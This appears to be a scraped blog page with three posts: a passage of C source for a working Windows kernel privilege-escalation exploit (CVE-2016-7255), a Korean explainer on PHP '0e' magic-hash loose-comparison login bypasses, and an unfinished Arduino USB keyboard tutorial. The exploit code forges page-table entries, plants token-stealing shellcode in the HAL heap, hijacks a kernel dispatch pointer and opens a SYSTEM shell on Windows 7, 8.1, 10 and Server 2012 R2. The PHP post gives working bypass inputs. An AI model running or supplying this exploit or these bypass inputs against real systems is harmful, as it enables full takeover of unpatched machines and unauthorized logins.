        for (i = 0; i < nCount; i++)
        {
            _sim_key_down(VK_TAB);
            _sim_key_up(VK_TAB);

            Sleep(1000);

        }


        _sim_key_up(VK_MENU);
        _sim_key_up(VK_SHIFT);
    } while (FALSE);

    return nFinalRet;
}

int _sim_alt_esc(int count)
{
    int i = 0;

    for (i = 0; i<count; i++)
    {
        _sim_key_down(VK_MENU);
        //_sim_key_down(VK_SHIFT);


        _sim_key_down(VK_ESCAPE);
        _sim_key_up(VK_ESCAPE);

        _sim_key_down(VK_ESCAPE);
        _sim_key_up(VK_ESCAPE);

        _sim_key_up(VK_MENU);
        //_sim_key_up(VK_SHIFT);

    }

    return 0;
}


int or_address_value_4(__in void* pAddress) // 문제의 구간
{
    WNDCLASSEXW stWC = { 0 };

    HWND    hWndParent = NULL;
    HWND    hWndChild = NULL;

    WCHAR*  pszClassName = L"cve-2016-7255";
    WCHAR*  pszTitleName = L"cve-2016-7255";

    void*   pId = NULL;
    MSG     stMsg = { 0 };

    UINT64 value = 0;

    do
    {

        stWC.cbSize = sizeof(stWC);
        stWC.lpfnWndProc = DefWindowProcW;
        stWC.lpszClassName = pszClassName;

        if (0 == RegisterClassExW(&stWC))
        {
            break;
        }

        hWndParent = CreateWindowExW( // 부모생성
            0,
            pszClassName,
            NULL,
            WS_OVERLAPPEDWINDOW | WS_VISIBLE,
            0,
            0,
            360,
            360,
            NULL,
            NULL,
            GetModuleHandleW(NULL),
            NULL
        );

        if (NULL == hWndParent)
        {
            break;
        }

        hWndChild = CreateWindowExW( //자식생성
            0,
            pszClassName,
            pszTitleName,
            WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD,
            0,
            0,
            160,
            160,
            hWndParent,
            NULL,
            GetModuleHandleW(NULL),
            NULL
        );

        if (NULL == hWndChild)
        {
            break;
        }

#ifdef _WIN64
        pId = ((UCHAR*)pAddress - 0x28); // OS bit에 따라 pId 값 조정
#else
        pId = ((UCHAR*)pAddress - 0x14);
#endif // #ifdef _WIN64

        SetWindowLongPtr(hWndChild, GWLP_ID, (LONG_PTR)pId); // 취약 함수 호출!

        DbgPrint("hWndChild = 0x%p\n", hWndChild); // 디버그 출력

        ShowWindow(hWndParent, SW_SHOWNORMAL);

        SetParent(hWndChild, GetDesktopWindow());

        SetForegroundWindow(hWndChild);

        _sim_alt_shift_tab(4); // xxxNextWindow() 호출을 위한 key_event API 사용

        SwitchToThisWindow(hWndChild, TRUE);

        _sim_alt_shift_esc(); // xxxNextWindow() 호출을 위한 key_event API 사용

        while (GetMessage(&stMsg, NULL, 0, 0)) {
            
            SetFocus(hWndParent);
            _sim_alt_esc(20); // xxxNextWindow() 호출을 위한 key_event API 사용
            SetFocus(hWndChild);
            _sim_alt_esc(20); // xxxNextWindow() 호출을 위한 key_event API 사용

            TranslateMessage(&stMsg);
            DispatchMessage(&stMsg);
            
            if (value != 0) {
                break;
            }
            

            __try {
                value = *(UINT64 *)PML4_SELF_REF;
                if ((value & 0x67) == 0x67) {
                    printf("Value Self Ref = %llx\n", value);
                    break;
                }
            }
            __except (EXCEPTION_EXECUTE_HANDLER) {
                continue;
            }

        }


    } while (FALSE);

    if (NULL != hWndParent)
    {
        DestroyWindow(hWndParent);
        hWndParent = NULL;
    }

    if (NULL != hWndChild)
    {
        DestroyWindow(hWndChild);
        hWndChild = NULL;
    }

    UnregisterClassW(pszClassName, GetModuleHandleW(NULL));

    return 0;
}

UINT64 get_pxe_address(UINT64 address) { // PXE Address 가져오기
    UINT entry = PML4_SELF_REF_INDEX;
    UINT64 result = address >> 9;
    UINT64 lower_boundary = ((UINT64)0xFFFF << 48) | ((UINT64)entry << 39);
    UINT64 upper_boundary = (((UINT64)0xFFFF << 48) | ((UINT64)entry << 39) + 0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8;
    result = result | lower_boundary;
    result = result & upper_boundary;
    return result;
}

UINT64 look_free_entry_pml4(void) { // PML4 free entry 찾기
    // Looks for a free pml4e in the last 0x100 bytes of the PML4
    int offset = 0xF00;
    UINT64 pml4_search = PML4_BASE + offset;
    while (offset < 0xFF8)
    {
        if ((*(PVOID *)pml4_search) == 0x0)
        {
            // This is a NULL (free) entry
            break;
        }
        offset += 8;
        pml4_search = PML4_BASE + offset;
    }
    return pml4_search;
}

UINT64 calculate_spurious_pt_address(UINT64 spurious_offset) {
    UINT64 index = (spurious_offset & 0xFFF) / 8;
    UINT64 result = (
        ((UINT64)0xFFFF << 48) |
        ((UINT64)PML4_SELF_REF_INDEX << 39) |
        ((UINT64)PML4_SELF_REF_INDEX << 30) |
        ((UINT64)PML4_SELF_REF_INDEX << 21) |
        (index << 12)
        );
    return result;
}



UINT64 create_spurious_pte_to_virtual_address(UINT64 virtual_address, BOOL patch_original) { // 가상메모리에 데이터 씀

    /*
    1: kd> !pte ffffffff`ffd00000
    VA ffffffffffd00000
    PXE at FFFFF6FB7DBEDFF8    PPE at FFFFF6FB7DBFFFF8    PDE at FFFFF6FB7FFFFFF0    PTE at FFFFF6FFFFFFE800
    contains 0000000000A1F063  contains 0000000000A20063  contains 0000000000A25063  contains 8000000000103963
    pfn a1f-- - DA--KWEV  pfn a20-- - DA--KWEV  pfn a25-- - DA--KWEV  pfn 103 - G - DA--KW - V
    */

    UINT64 pte = get_pxe_address(virtual_address);
    int pte_offset = pte & 0xFFF;
    //printf("PTE: %llx, %x\n", pte, pte_offset);
    
    UINT64 pde = get_pxe_address(pte);
    int pde_offset = pde & 0xFFF;
    //printf("PDE: %llx, %x\n", pde, pde_offset);
        
    UINT64 pdpte = get_pxe_address(pde);
    int pdpte_offset = pdpte & 0xFFF;
    //printf("PDPTE: %llx,%x\n", pdpte, pdpte_offset);
        
    UINT64 pml4e = get_pxe_address(pdpte);
    int pml4e_offset = pml4e & 0xFFF;
    //printf("PML4E: %llx\n", pml4e, pml4e_offset);
    
    UINT64 spurious_offset = look_free_entry_pml4();
    printf("[+] Selected spurious PML4E: %llx\n", spurious_offset);
    UINT64 f_e_pml4 = spurious_offset;
    UINT64 spurious_pt = calculate_spurious_pt_address(spurious_offset);
    printf("[+] Spurious PT: %llx\n", spurious_pt);
    printf("--------------------------------------------------\n\n");
    
    
    //Read the physical address of pml4e   
    UINT64 pml4e_pfn = (UINT64)(*(PVOID *)pml4e);
    printf("[+] Content pml4e %llx: %llx\n", pml4e, pml4e_pfn);
    // Change the PxE
    pml4e_pfn = pml4e_pfn | 0x67; // Set U/S
    
    printf("[+] Patching the Spurious Offset (PML4e) %llx: %llx\n",f_e_pml4, pml4e_pfn);
    *((PVOID *)spurious_offset) = (PVOID)pml4e_pfn;
    Sleep(0x1); // Sleep for TLB refresh;
    
    //Read the physical address of pdpte
    UINT64 pdpte_pfn = (UINT64) *(PVOID *)(spurious_pt + pdpte_offset);
    printf("[+] Content pdpte %llx: %llx\n", pdpte, pdpte_pfn);
    // Change the PxE
    pdpte_pfn = pdpte_pfn | 0x67; // Set U/S
    printf("[+] Patching the Spurious Offset (PDPTE) %llx: %llx\n", spurious_offset, pdpte_pfn);
    *((PVOID *)spurious_offset) = (PVOID)pdpte_pfn;
    Sleep(0x1); // Sleep for TLB refresh;
    
    //Read the physical address of pde
    UINT64 pde_addr = spurious_pt + pde_offset;
    UINT64 pde_pfn = (UINT64) *(PVOID *)(spurious_pt + pde_offset);
    printf("[+] Content pdpe %llx: %llx\n", pde, pde_pfn);
    // Change the PxE
    pde_pfn = pde_pfn | 0x67; // Set U/S
    printf("[+] Patching the Spurious Offset (PDE) %llx: %llx\n", spurious_offset, pde_pfn);
    *((PVOID *)spurious_offset) = (PVOID)pde_pfn;
    Sleep(0x1); // Sleep for TLB refresh;
    
    //Read the physical address of pte
    UINT64 pte_addr = spurious_pt + pte_offset;
    UINT64 pte_pfn = (UINT64) *(PVOID *)(spurious_pt + pte_offset);
    printf("[+] Content pte %llx: %llx\n", pte, pte_pfn);
    // Change the PxE
    pte_pfn = pte_pfn | 0x67; // Set U/S
    pte_pfn = pte_pfn & 0x7fffffffffffffff; // Turn off NX  
    if (patch_original) {
        printf("*** Patching the original location to enable NX...\n");
        *(PVOID *)(spurious_pt + pte_offset) = (PVOID)pte_pfn;
    }
 
    printf("[+] Patching the Spurious Offset (PTE) %llx: %llx\n", spurious_offset, pte_pfn);
    *((PVOID *)spurious_offset) = (PVOID)pte_pfn;
    Sleep(0x1); // Sleep for TLB refresh;
    printf("\n\n");
    return spurious_pt;
}

UINT64 get_OverwriteAddress_pointer(UINT64 target_address, int target_offset) {
    printf("[*] Getting Overwrite pointer: %llx\n", target_address);
    UINT64 OverwriteAddress = create_spurious_pte_to_virtual_address(target_address, FALSE);
    OverwriteAddress += (target_address & 0xFFF);
    printf("OverwriteAddress: %llx\n", OverwriteAddress);
    return (UINT64) *((PVOID *)(((char *)OverwriteAddress) + target_offset));
}

void overwrite_TargetAddress(UINT64 hook_address, UINT64 target_address, int target_offset) {  // one bit 설정
    UINT64 OverwriteTarget = create_spurious_pte_to_virtual_address(target_address, FALSE);
    OverwriteTarget += (target_address & 0xFFF);
    UINT64 target = (UINT64)((char *)OverwriteTarget) + target_offset;
    printf("Patch OverwriteTarget: %llx with %llx\n", target, hook_address);
    *(PVOID *)target = (PVOID)hook_address;
}


UINT64 store_shellcode_in_hal(void) {
    //// Finally store the shellcode on the HAL

    UINT64 hal_heap_addr = 0xFFFFFFFFFFD00000;
    UINT64 hal_heap = create_spurious_pte_to_virtual_address(hal_heap_addr, TRUE);

    printf("HAL address: %llx\n", hal_heap);
    // 0xffffffffffd00d50 this is a good offset to store shellcode
    // 0xfff - 0xd50 = 0x2af space

    memcpy(((char *)hal_heap) + 0xd50, shellcode, sizeof(shellcode));
    return 0xffffffffffd00d50;
}

UINT64 GetHalDispatchTable() {
    PCHAR KernelImage;
    SIZE_T ReturnLength;
    HMODULE hNtDll = NULL;
    UINT64 HalDispatchTable;
    HMODULE hKernelInUserMode = NULL;
    PVOID KernelBaseAddressInKernelMode;
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
    PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;

    hNtDll = LoadLibrary("ntdll.dll");

    if (!hNtDll) {
        printf("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");

    if (!NtQuerySystemInformation) {
        printf("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);

    // Allocate the Heap chunk
    pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
                                                                     HEAP_ZERO_MEMORY,
                                                                     ReturnLength);

    if (!pSystemModuleInformation) {
        printf("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    NtStatus = NtQuerySystemInformation(SystemModuleInformation,
                                        pSystemModuleInformation,
                                        ReturnLength,
                                        &ReturnLength);

    if (NtStatus != STATUS_SUCCESS) {
        printf("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
    KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;

    printf("\t\t\t[+] Loaded Kernel: %s\n", KernelImage);
    printf("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode);
    
    hKernelInUserMode = LoadLibraryA(KernelImage);

    if (!hKernelInUserMode) {
        printf("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    // This is still in user mode
    HalDispatchTable = (UINT64)GetProcAddress(hKernelInUserMode, "HalDispatchTable");

    if (!HalDispatchTable) {
        printf("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        HalDispatchTable = (ULONGLONG)HalDispatchTable - (ULONGLONG)hKernelInUserMode;

        // Here we get the address of HapDispatchTable in Kernel mode
        HalDispatchTable = ((ULONGLONG)HalDispatchTable + (ULONGLONG)KernelBaseAddressInKernelMode);
        printf("\t\t\t[+] HalDispatchTable: 0x%llx\n", HalDispatchTable);
    }

    HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);

    if (hNtDll) {
        FreeLibrary(hNtDll);
    }

    if (hKernelInUserMode) {
        FreeLibrary(hKernelInUserMode);
    }

    hNtDll = NULL;
    hKernelInUserMode = NULL;
    pSystemModuleInformation = NULL;

    return HalDispatchTable;
}

int __cdecl main(int argc, char** argv)
{
    TCHAR pre_username[256];
    TCHAR post_username[256];
    DWORD size = 256;
    ULONG Interval = 0;
    HMODULE hNtDll = NULL;
    UINT retval;
    UINT64 overwrite_address;
    int overwrite_offset;
    
    // define operating system version specific variables
    unsigned char sc_KPROCESS;
    unsigned int sc_TOKEN;
    unsigned int sc_APLINKS;
    int osversion;

    if (argc != 2) {
        printf("Please enter an OS version\n");
        printf("The following OS'es are supported:\n");
        printf("\t[*] 7  - Windows 7\n");
        printf("\t[*] 81 - Windows 8.1\n");
        printf("\t[*] 10 - Windows 10 prior to build release 14393 (Anniversary Update)\n");
        printf("\t[*] 12 - Windows 2012 R2\n");
        printf("\n");
        printf("\t[*] For example:  cve-2016-7255.exe 7    -- for Windows 7\n");
        return -1;
    }
    
    osversion = _strtoui64(argv[1], NULL, 10);
    
    if(osversion == 7)
    {
        // the target machine's OS is Windows 7 SP1
        printf("   [+] Windows 7 SP1\n");
        sc_KPROCESS = 0x70;         // dt -r1 nt!_KTHREAD  +0x050 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS
        sc_TOKEN    = 0x80;         // dt -r1 nt!_EPROCESS [+0x208 Token : _EX_FAST_REF] - [+0x188 ActiveProcessLinks : _LIST_ENTRY] = (0x80)
        sc_APLINKS  = 0x188;        // dt -r1 nt!_EPROCESS +0x188 ActiveProcessLinks : _LIST_ENTRY
        
        overwrite_address = GetHalDispatchTable();  // HalDispatchTable
        overwrite_offset = 0x8;                     // QueryIntervalProfile       
    }
    else if(osversion == 81)
    {
        // the target machine's OS is Windows 8.1
        printf("   [+] Windows 8.1\n");
        sc_KPROCESS = 0xB8;             // dt -r1 nt!_KTHREAD +0x098 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS
        sc_TOKEN    = 0x60;             // dt -r1 nt!_EPROCESS [+0x348 Token : _EX_FAST_REF] - [+0x2e8 ActiveProcessLinks : _LIST_ENTRY] = (0x60)
        sc_APLINKS  = 0x2e8;            // dt -r1 nt!_EPROCESS +0x2e8 ActiveProcessLinks : _LIST_ENTRY
        
        overwrite_address = 0xffffffffffd00510;     // HalpInterruptController_address (dq poi(hal!HalpInterruptController))
        overwrite_offset = 0x78;                    // HalpApicRequestInterruptOffset (dq halpApicRequestInterrupt)
    }
    else if(osversion == 10)
    {
        // the target machine's OS is Windows 10 prior to build 14393
        printf("   [+] Windows 10\n");
        sc_KPROCESS = 0xB8;             // dt -r1 nt!_KTHREAD +0x098 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS
        sc_TOKEN    = 0x68;             // dt -r1 nt!_EPROCESS [+0x358 Token : _EX_FAST_REF] - [+0x2f0 ActiveProcessLinks : _LIST_ENTRY] = (0x60)
        sc_APLINKS  = 0x2f0;            // dt -r1 nt!_EPROCESS +0x2f0 ActiveProcessLinks : _LIST_ENTRY
        
        overwrite_address = 0xffffffffffd004c0;     // HalpInterruptController_address (dq poi(hal!HalpInterruptController)
        overwrite_offset = 0x78;                    // HalpApicRequestInterruptOffset (dq halpApicRequestInterrupt)
    }
    else if(osversion == 12)
    {
        // the target machine's OS is Windows 2012 R2
        printf("   [+] Windows 2012 R2\n");
        sc_KPROCESS = 0xB8;             // dt -r1 nt!_KTHREAD +0x098 ApcState : _KAPC_STATE -> +0x020 Process : Ptr64 _KPROCESS
        sc_TOKEN    = 0x60;             // dt -r1 nt!_EPROCESS [+0x348 Token : _EX_FAST_REF] - [+0x2e8 ActiveProcessLinks : _LIST_ENTRY] = (0x60)
        sc_APLINKS  = 0x2e8;            // dt -r1 nt!_EPROCESS +0x2e8 ActiveProcessLinks : _LIST_ENTRY
        
        overwrite_address = 0xffffffffffd12c70;     // HalpInterruptController_address (dq poi(hal!HalpInterruptController)
        overwrite_offset = 0x78;                    // HalpApicRequestInterruptOffset (dq halpApicRequestInterrupt)
    }
    // in case the OS version is not any of the previously checked versions
    else
    {
        printf("   [-] Unsupported version\n");
        printf("      [*] Affected 64-bit operating systems\n");
        printf("         [*] Windows 7 SP1                 -- cve-2016-7255.exe 7\n");
        printf("         [*] Windows 8.1                   -- cve-2016-7255.exe 81\n");
        printf("         [*] Windows 10 before build 14393 -- cve-2016-7255.exe 10\n");
        printf("         [*] Windows 2012 R2               -- cve-2016-7255.exe 12\n");
        return -1;
    }
        
    printf("My PID is: %d\n", GetCurrentProcessId());
    GetUserName(pre_username, &size);
    printf("Current Username: %s\n", pre_username);
    printf("PML4 Self Ref: %llx\n", PML4_SELF_REF);
    printf("Shellcode stored at: %p\n", (void *) &shellcode);
    printf("Enter to continue...\n");
    getchar();

    do
    {
        or_address_value_4((void*)PML4_SELF_REF);
    } while (FALSE);

    PML4_SELF_REF_INDEX = GET_INDEX((UINT64)PML4_SELF_REF);
    printf("[*] Self Ref Index: %x\n", PML4_SELF_REF_INDEX);
    PML4_BASE = ((UINT64)PML4_SELF_REF & (UINT64)0xFFFFFFFFFFFFF000);
    
    UINT64 original_pointer = get_OverwriteAddress_pointer(overwrite_address, overwrite_offset);

    printf("Original OverwriteTarget pointer: %llx\n", original_pointer);
    DWORD pid = GetCurrentProcessId();
  
    /* Shellcode Patching !! */
    char *p = shellcode;
    p += 4; // skip the CLI, PUSHF and MOV RAX bytes   
    *(PVOID *)p = (PVOID)original_pointer; // Patch shellcode1

    p += 12; // Patch shellcode with original value in the Overwrite address
    *(PVOID *)p = (PVOID)(overwrite_address + overwrite_offset);

    p += 12; // To patch the PID of our process
    
    *(DWORD *)p = (DWORD)pid;
    
    p += 17;
    *(unsigned char *)p = (unsigned char)sc_KPROCESS;
    
    p += 7;
    *(unsigned int *)p = (unsigned int)sc_APLINKS;
    
    p += 20;
    *(unsigned int *)p = (unsigned int)sc_TOKEN;
    
    p += 20;
    *(unsigned int *)p = (unsigned int)sc_TOKEN;
    
    UINT64 shellcode_va = store_shellcode_in_hal();
    printf("[+] w00t: Shellcode stored at: %llx\n", shellcode_va);
    overwrite_TargetAddress(shellcode_va, overwrite_address, overwrite_offset);
    
    if (osversion == 7){
        // Exploit Win7.1
        hNtDll = LoadLibrary("ntdll.dll");

        if (!hNtDll) {
            printf("\t\t[-] Failed loading NtDll: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
    
        NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");

        if (!NtQueryIntervalProfile) {
            printf("\t\t[-] Failed Resolving NtQueryIntervalProfile: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }  
        NtQueryIntervalProfile(0x1337, &Interval);
    }

    
    while (1) {
        size = 256;
        GetUserName(post_username, &size);
        if (memcmp(post_username, pre_username, 256) != 0) break;
    }
    Sleep(2000);
    system("cmd.exe");


    return 0;
}

Reference

https://ricklarabee.blogspot.com/2017/01/virtual-memory-page-tables-and-one-bit.html
http://blog.trendmicro.com/trendlabs-security-intelligence/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild/
https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to-protect.html
https://www.exploit-db.com/docs/40822.pdf
https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms644898(v=vs.85).aspx
https://github.com/rlarabee/exploits/tree/master/cve-2016-7255
Share: | Coffee Me:

1/14/2017

[WEB HACKING] PHP Comparison Operators Vulnerability for Password Cracking

개인적으로 프로그래밍의 재미있는 요소는 연산자가 아닐까 싶습니다. 작은 연산자들이 모여 큰 흐름을 만들고, 우리같은 해커는 이 흐름을 틀어 예상치도 못한 행위를 이끌어내니 굉장히 재미있는 부분이죠.

PHP에는 아주 재미있는 취약점이 하나 있습니다. 간단한 버그일 수 있지만 이 결과가 엄청난 데이터를 불러올 수 있죠. 오늘은 바로 PHP의 비교 연산자에 대한 이야기를 할까 합니다.

그럼 시작하겠습니다. :)


Comparison Operator?

개발쪽. 아니 IT인이라면 대부분 아는 연산자입니다. 양쪽 값을 비교하는 연산자로 대표적으로 Equal(==)이 있습니다.

예시로..

if(1==0)
{
  // codecodecode
}
요런 구문에서 ==의 역할이죠.

관련해서는 아래 링크보시면 조금 더 도움될겁니다
http://php.net/manual/kr/language.operators.comparison.php

PHP Comparison Operator Vulnerability

아래 간단한 코드를 보겠습니다. param1 과 param2에 각각 다른 값의 md5 해쉬를 만들어 비교하는 구문입니다. 이 코드가 동작하면 어떤 결과를 나타낼까요? 

<html><body style="background-color:black;color:white">
<h1>PHP Equal Vulnerability</h1>
<hr>

<?php

        $param1 = md5('240610708');  // result: 0e462097431906509019562988736854
        $param2 = md5('QNKCDZO');    // result: 0e830400451993494058024219903391

        echo "param1 md5 value --> ".$param1."<br>";
        echo "param2 md5 value --> ".$param2."<br>";
        echo "<br><br>Result is ";
        if($param1 == $param2)
        { 
          echo "<font color='red'>Equal</font>";
        }
        else
        {
          echo "<font color='green'>Diff</font>";
        }
?>
</body></html>

대부분 Diff가 나올 것이라고 생각하실 겁니다. 왜냐하면 두 값의 md5 해쉬는 다르기 때문이죠.
그러나 실제로 돌려보면...


위와 같이 Equal이 나옵니다(?!)
이제 뭔가 낌새를 느끼셨을 것 같습니다. 요약해서 먼저 말씀드리면 Equal(==) 자체에 있는 오류로 인해서 의도하지 않은 결과 값이 나타난 거죠.

Equal은 양쪽의 값을 비교하는 연산자입니다. 이 친구가 비교 연산을 할 때 문자던, 숫자던 다 숫자 형으로 변환한 후 비교를 하게 됩니다.
이 과정에서 맨 앞 숫자가 0e으로 시작되는 값(예시에서는 두 값의 해쉬값)은 숫자로 인식되어 0으로 나타내어집니다.

0e -> int!

원리는 간단합니다. 컴퓨터에서 숫자를 표현하는 방식 중 e를 이용한 방식이 있습니다. (엑셀보다보면 가끔 보이는...그런)
대표적으로

1E.~~
0E~~~


이런식으로 숫자와 e를 혼용한 값인데, 이것은 문자열인 1E, 0E가 비교 시 숫자로 처리된다는 점입니다. 이 때문에 위 두 해시는 같은 값으로 인지되어 같다고 나온겁니다.

그래서 위 240610708과 QNKCDZO의 해쉬값은 Equal 연산에 의해 같다라고 판단하게 되는겁니다. 이러한 결과는 간단한 버그(?)이지만 시나리오에 따라 큰 결과를 가져올 수도 있습니다.
아래 시나리오와 함께 보죠.

Attack Scenario

그럼 실제로 어떤 시나리오에서 사용될 수 있는지 보도록 하겠습니다. 사실 제목부터 중간 이미지까지.. 시나리오에 대한 이야기가 워낙 많아 다들 눈치 채셨을겁니다.
아까 예제를 이용해서 간단한 로그인 페이지를 만들어보았습니다. php 코드에는 패스워드가 하드 코딩 되어있고 form 태그를 통해 입력 받은 값을 비교하여
로그인 여부를 판단하는 코드입니다.

<html><body style="background-color:black;color:white">
<h1>Sample Login page - by hahwul</h1>
<hr>
<br><br>
<form action="" method="get">
<input type="text" value="" name="pw">
<input type="submit" value="Login">
</form>

<br><br>
<h1>Result</h1>
<hr>

<?php
        $user_pw = md5($_GET['pw']);
        $password = md5('240610708');  // result: 0e462097431906509019562988736854

        if($password == $user_pw)
        { 
          echo "<font color='red'>Login success</font><br>";
          echo "Your Input: ".$_GET['pw']."<br>";
          echo "Real Passwd: 201610708<br>";
        }
        else
        {
          echo "<font color='green'>Fail..</font>";
        }
?>
</body></html>

그럼 테스트삼아 아무거나 넣어봅시다.



물론.. Fail이 나오네요.(틀렸으니깐)

로그인 시 입력한 값과 DB(예제에서는 페이지에 넣어둔 값)에서 가져온 값의 해쉬를 비교하게 되고 if 문과 equal을 통해 로그인 여부를 결정짓게 됩니다.
아까 우리가 배운 기법을 활용하면.. 쉽게 넘어갈수도 있겠지요 :)

Password 입력 부분에 아까 0으로 시작하는 해쉬로 확인한 QNKCDZO를 입력하면 로그인이 통과되는걸 알 수 있습니다.








아주 간단하고 쉽지만.. 상황에 따라 굉장히 큰 영향을 끼칠 수 있습니다.
QNKCDZO 같이 저런 해쉬값을 가지는 데이터는 꼭 BruteForce 과정에서는 필수로 담아야 하겠죠? 그럼 이만

Reference

http://php.net/manual/kr/language.operators.comparison.php
http://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo
http://hyunmini.tistory.com/76#comment12633578
http://stackoverflow.com/questions/8083034/integer-string-comparison-are-equal-php-bug
http://stackoverflow.com/questions/6843030/why-does-php-consider-0-to-be-equal-to-a-string
Share: | Coffee Me:

1/13/2017

[EMBED] Customized Keyboard with Arduino!

This article was written in collaboration with "Toptal".

Today's topic is about customized keyboards. I think he is a nice hacker!
I want to make a this keyboard too. ;)

Customized Keyboard with Arduino!




He started by thinking about how to change the keyboard layout, and finished with this!

Going from a software background, knowing nothing about electronics, to designing and building a powerful, marketable hardware device, is an interesting and fascinating experience. In this article, I’ll describe the design of how this electronic masterpiece works. A basic understanding of electronic circuit diagrams may help you follow along.
How do you make a keyboard?

After dedicating thousands of hours of my life to this topic, it’s a hefty challenge for me to give a short answer, but there’s an interesting way to answer to this question. What if we start with something simple, like an Arduino board, and gradually build it up to be the Ultimate Hacking Keyboard? It should not only be more digestible but extremely educational. Therefore, let our keyboard tutorial journey begin!

Step One: A Keyboard Without Keys


First up, let’s make a USB keyboard that emits the x character on a once-per-second basis. The Arduino Micro development board is an ideal candidate for this purpose, because it features the ATmega32U4 microcontroller - an AVR microcrontroller and the same processor that is the brains of the UHK.

The Arduino Micro board was the basis for building my keyboard for developers.

When it comes to USB-capable AVR microcontrollers, the Lightweight USB Framework for AVRs (LUFA) is the library of choice. It enables these processors to become the brains of printers, MIDI devices, keyboards, or almost any other type of USB device.

When plugging a device into the USB port, the device has to transfer some special data structures called USB descriptors. These descriptors tell the host computer the type and properties of the device being connected, and are represented by a tree structure. To make matters even more complex, a device can implement not only one but multiple functions. Let’s see the descriptors structure of the UHK:

    Device descriptor
        Configuration descriptor
            Interface descriptor 0: GenericHID
                Endpoint descriptor
            Interface descriptor 1: Keyboard
                Endpoint descriptor
            Interface descriptor 2: Mouse
                Endpoint descriptor

Most standard keyboards only expose a single keyboard interface descriptor, which makes sense. However, as a custom programming keyboard, the UHK also exposes a mouse interface descriptor, because the user can program arbitrary keys of the keyboard to control the mouse pointer so the keyboard can be used as a mouse. The GenericHID interface serves as a communication channel, to exchange configuration information for all the special features of the keyboard. You can see the full implementation of the device and configuration descriptors of the UHK in LUFA here.

Now that we’ve created the descriptors, it’s time to send the x character in every second.

uint8_t isSecondElapsed = 0;

int main(void)
{
    while (1) {
        _delay_us(1000);
        isSecondElapsed = 1;
    }
}

bool CALLBACK_HID_Device_CreateHIDReport(USB_ClassInfo_HID_Device_t* const HIDInterfaceInfo,
                                         uint8_t* const ReportID,
                                         const uint8_t ReportType,
                                         void* ReportData,
                                         uint16_t* const ReportSize)
{
    USB_KeyboardReport_Data_t* KeyboardReport = (USB_KeyboardReport_Data_t*)ReportData;
    if (isSecondElapsed) {
        KeyboardReport->KeyCode[0] = HID_KEYBOARD_SC_X;
        isSecondElapsed = 0;
    }
    *ReportSize = sizeof(USB_KeyboardReport_Data_t);
    return false;
}
USB is a polled protocol, which means that the host computer queries the device on a regular interval (usually 125 times per second) to find out whether there’s any new data to send. The relevant callback is the CALLBACK_HID_Device_CreateHIDReport() function, which in this case sends the scancode of the x character to the host whenever the isSecondElapsed variable contains 1. isSecondElapsed gets set to 1 from the main loop on a per second basis, and set to 0 from the callback.

Step Two: A Keyboard of Four Keys


At this point our keyboard is not terribly useful. It’d be nice if we could actually type on it. But for that we need keys, and the keys have to be arranged into a keyboard matrix. A full-sized 104-key keyboard could have 18 rows and 6 columns but we’ll simply have a humble 2x2 keyboard matrix for starting up. This is the schematic:

To customize a hacker keyboard, you have to carefully consider the key matrix.

And this is how it looks on a breadboard:




Configuring the breadboard is a critical step in building a keyboard for developers.

Assuming that ROW1 is connected to PINA0, ROW2 to PINA1, COL1 to PORTB0 and COL2 to PORTB1, here’s what the scanning code looks like:

/* A single pin of the microcontroller to which a row or column is connected. */
typedef struct {
    volatile uint8_t *Direction;
    volatile uint8_t *Name;
    uint8_t Number;
} Pin_t;

/* This part of the key matrix is stored in the Flash to save SRAM space. */
typedef struct {
    const uint8_t ColNum;
    const uint8_t RowNum;
    const Pin_t *ColPorts;
    const Pin_t *RowPins;
} KeyMatrixInfo_t;

/* This Part of the key matrix is stored in the SRAM. */
typedef struct {
    const __flash KeyMatrixInfo_t *Info;
    uint8_t *Matrix;
} KeyMatrix_t;

const __flash KeyMatrixInfo_t KeyMatrix = {
    .ColNum = 2,
    .RowNum = 2,
    .RowPins = (Pin_t[]) {
        { .Direction=&DDRA, .Name=&PINA, .Number=PINA0 },
        { .Direction=&DDRA, .Name=&PINA, .Number=PINA1 }
    },
    .ColPorts = (Pin_t[]) {
        { .Direction=&DDRB, .Name=&PORTB, .Number=PORTB0 },
        { .Direction=&DDRB, .Name=&PORTB, .Number=PORTB1 },
    }
};

void KeyMatrix_Scan(KeyMatrix_t *KeyMatrix)
{
